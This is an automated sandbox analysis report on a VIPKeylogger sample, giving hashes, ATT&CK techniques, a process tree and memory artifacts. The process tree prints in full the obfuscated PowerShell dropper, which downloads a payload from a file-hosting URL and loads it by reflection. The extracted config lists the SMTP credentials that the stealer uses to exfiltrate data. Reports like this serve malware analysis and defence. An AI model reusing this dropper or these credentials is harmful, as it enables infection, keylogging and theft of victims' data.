vipkeylogger | 48bb30fd0e12538f0e4fd35cfec2417a16902e1ef49f32b26bdd7a51344b324a

General

Target

INQ02010391.vbs
Size

137KB
MD5

ed54f068782aaff84dce2776a3ffbd73
SHA1

48a75d4b075131bf9abcfb3b77e64ace881f1b8e
SHA256

64c7c1b70a135415a835bb48c638ca47db929b1df28bb62aaacd9cdcac76553b
SHA512

9397d85e1e20b36736b6780fe7af5b3b5309ca2096368f3d99d3de3bbdfe348bb55854aef7a726ba55ac4210e19c2ab00bf82dae82a67354c50476217db90ba6
SSDEEP

3072:SXs3fFf2ghaYlNAuaq/XDptbxILKDngt5pPGwm:SXSf4eJA0XDjbKG

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

vipkeylogger

Credentials

Protocol: smtp
Host:
hosting2.ro.hostsailor.com
Port:
587
Username:
[email protected]
Password:
7213575aceACE@@
Email To:
[email protected]

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow	pid	Process
8	720	powershell.exe
22	720	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
4352	powershell.exe
720	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

MSBuild.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
26	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description	pid	Process	procid_target
PID 720 set thread context of 2568	720	powershell.exe	97

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

MSBuild.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exeMSBuild.exe

pid	Process
4352	powershell.exe
4352	powershell.exe
720	powershell.exe
720	powershell.exe
2568	MSBuild.exe
2568	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeMSBuild.exe

description	pid	Process
Token: SeDebugPrivilege	4352	powershell.exe
Token: SeDebugPrivilege	720	powershell.exe
Token: SeDebugPrivilege	2568	MSBuild.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	Process	procid_target
PID 2120 wrote to memory of 4352	2120	WScript.exe	83
PID 2120 wrote to memory of 4352	2120	WScript.exe	83
PID 4352 wrote to memory of 720	4352	powershell.exe	85
PID 4352 wrote to memory of 720	4352	powershell.exe	85
PID 720 wrote to memory of 2568	720	powershell.exe	97
PID 720 wrote to memory of 2568	720	powershell.exe	97
PID 720 wrote to memory of 2568	720	powershell.exe	97
PID 720 wrote to memory of 2568	720	powershell.exe	97
PID 720 wrote to memory of 2568	720	powershell.exe	97
PID 720 wrote to memory of 2568	720	powershell.exe	97
PID 720 wrote to memory of 2568	720	powershell.exe	97
PID 720 wrote to memory of 2568	720	powershell.exe	97

outlook_office_path 1 IoCs

Processes:

MSBuild.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

outlook_win_path 1 IoCs

Processes:

MSBuild.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INQ02010391.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdKMFFpbWFnZVVybCA9IEk5Ymh0dHBzOi8nKycvMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXJysnbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDJysnNlNRdCcrJ0ljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgSTliO0owUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7SjBRaW1hZ2VCeScrJ3RlcyA9IEonKycwUXdlYkNsaWVudC5EJysnb3dubG9hZERhdGEoSjBRaW1hZ2VVcmwpO0owUWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKEowUWltYScrJ2dlQnl0ZXMpO0owUXN0YScrJ3J0RmxhZyA9IEk5Yjw8QkFTRTYnKyc0X1MnKydUQVJUPj5JOWI7SjBRZW5kRmxhZyA9IEk5Yjw8QkFTRTY0X0VORD4+STliO0owUXN0YXJ0SW5kZXggPSBKMFEnKydpJysnbWFnZVRleHQuSW5kZXhPZihKMFFzdGFyJysndEZsYWcpOycrJ0owUWVuZEluZGV4ID0gSjBRaW1hZ2VUZXh0LkluZGV4T2YoSjBRZW5kRmxhZyk7SjBRc3RhcnRJbmRleCAtZ2UgMCAtYW4nKydkIEowUWVuZEluZGV4IC1ndCBKMFFzdGFydEluZGV4O0owUXN0YXJ0SW5kZXgnKycgKz0gSjBRc3RhcnRGbGFnLkxlbmd0aDtKMFFiYXNlNjRMZW5ndGggPSBKMFFlbmRJbmRleCAtIEowUXN0YXJ0SW5kZXg7SjBRYicrJ2FzZTY0Q29tbWFuZCA9IEowUWltYWdlVGV4dC5TdWJzdHJpbmcnKycoSjBRc3RhcnRJbmRleCwgSjBRYmFzZTY0TGVuZ3RoKTtKMFFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChKMFFiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgRW04IEZvckVhY2gtT2JqZWN0IHsgSjBRXyB9KVstMS4uLShKMFFiYXNlNjRDb21tYW5kLkxlbmd0aCldO0owUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoSjBRYmFzZTY0UmV2ZXJzZWQpO0owUWxvYScrJ2RlZEFzJysnc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChKMFFjb21tYW5kQnl0ZXMpO0owUXZhaU1ldGhvZCAnKyc9IFtkbicrJ2xpYi5JTy5Ib21lXS5HZXRNZXRob2QoSTliVkFJSTliKTtKMFF2YWlNZXRob2QuSW52b2tlKEowUW51bGwsIEAoSTlidHh0LmNlYS92ZWQuMnIuZDQzOGY3MScrJzU1Y2M2ZWVhOTJkMTRlNjA3NycrJzM3MjgxYzQtYnVwLy86c3B0dGhJOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5Yk1TQnVpbGRJOWIsIEk5YmRlc2F0aXYnKydhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdmFkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdicrJ2Fkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YjFJOWIsSTliZGVzYXRpdmFkb0k5YikpOycpLlJlUGxBQ2UoJ0owUScsW1N0UmlOZ11bY2hhcl0zNikuUmVQbEFDZSgnSTliJyxbU3RSaU5nXVtjaGFyXTM5KS5SZVBsQUNlKChbY2hhcl02OStbY2hhcl0xMDkrW2NoYXJdNTYpLFtTdFJpTmddW2NoYXJdMTI0KXxJRXg=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4352
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('J0QimageUrl = I9bhttps:/'+'/1017.filemail.com/api/file/get?filekey=2Aa_bW'+'o9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC'+'6SQt'+'IcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f I9b;J0QwebClient = New-Object System.Net.WebClient;J0QimageBy'+'tes = J'+'0QwebClient.D'+'ownloadData(J0QimageUrl);J0QimageText = [System.Text.Encoding]::UTF8.GetString(J0Qima'+'geBytes);J0Qsta'+'rtFlag = I9b<<BASE6'+'4_S'+'TART>>I9b;J0QendFlag = I9b<<BASE64_END>>I9b;J0QstartIndex = J0Q'+'i'+'mageText.IndexOf(J0Qstar'+'tFlag);'+'J0QendIndex = J0QimageText.IndexOf(J0QendFlag);J0QstartIndex -ge 0 -an'+'d J0QendIndex -gt J0QstartIndex;J0QstartIndex'+' += J0QstartFlag.Length;J0Qbase64Length = J0QendIndex - J0QstartIndex;J0Qb'+'ase64Command = J0QimageText.Substring'+'(J0QstartIndex, J0Qbase64Length);J0Qbase64Reversed = -join (J0Qbase64Command.ToCharArray() Em8 ForEach-Object { J0Q_ })[-1..-(J0Qbase64Command.Length)];J0QcommandBytes = [System.Convert]::FromBase64String(J0Qbase64Reversed);J0Qloa'+'dedAs'+'sembly = [System.Reflection.Assembly]::Load(J0QcommandBytes);J0QvaiMethod '+'= [dn'+'lib.IO.Home].GetMethod(I9bVAII9b);J0QvaiMethod.Invoke(J0Qnull, @(I9btxt.cea/ved.2r.d438f71'+'55cc6eea92d14e6077'+'37281c4-bup//:sptthI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bMSBuildI9b, I9bdesativ'+'adoI9b, I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativ'+'adoI9b,I9bdesativadoI9b,I9b1I9b,I9bdesativadoI9b));').RePlACe('J0Q',[StRiNg][char]36).RePlACe('I9b',[StRiNg][char]39).RePlACe(([char]69+[char]109+[char]56),[StRiNg][char]124)|IEx"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:720
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:2568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
feadc4e1a70c13480ef147aca0c47bc0

SHA1
d7a5084c93842a290b24dacec0cd3904c2266819

SHA256
5b4f1fe7ba74b245b6368dbe4ceffa438f14eef08ba270e9a13c57505c7717ac

SHA512
c9681a19c773891808fefa9445cea598d118c83bba89530a51ab993adbff39bce72b43f8e99d0c68e4a44f7e0f4c8ec128641c45cd557a8e1215721d5d992a23

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dd1duux4.zgr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/720-23-0x000001CCF8360000-0x000001CCF84B8000-memory.dmp

Filesize
1.3MB

Download
memory/2568-32-0x0000000005590000-0x000000000562C000-memory.dmp

Filesize
624KB

Download
memory/2568-24-0x0000000000400000-0x0000000000448000-memory.dmp

Filesize
288KB

Download
memory/2568-31-0x0000000005AA0000-0x0000000006044000-memory.dmp

Filesize
5.6MB

Download
memory/2568-33-0x0000000006B20000-0x0000000006CE2000-memory.dmp

Filesize
1.8MB

Download
memory/2568-34-0x00000000069B0000-0x0000000006A00000-memory.dmp

Filesize
320KB

Download
memory/2568-35-0x0000000006CF0000-0x0000000006D82000-memory.dmp

Filesize
584KB

Download
memory/2568-36-0x0000000006AC0000-0x0000000006ACA000-memory.dmp

Filesize
40KB

Download
memory/4352-22-0x00007FFFE13C0000-0x00007FFFE1E81000-memory.dmp

Filesize
10.8MB

Download
memory/4352-12-0x00007FFFE13C0000-0x00007FFFE1E81000-memory.dmp

Filesize
10.8MB

Download
memory/4352-11-0x00007FFFE13C0000-0x00007FFFE1E81000-memory.dmp

Filesize
10.8MB

Download
memory/4352-1-0x0000029539AE0000-0x0000029539B02000-memory.dmp

Filesize
136KB

Download
memory/4352-30-0x00007FFFE13C0000-0x00007FFFE1E81000-memory.dmp

Filesize
10.8MB

Download
memory/4352-0-0x00007FFFE13C3000-0x00007FFFE13C5000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads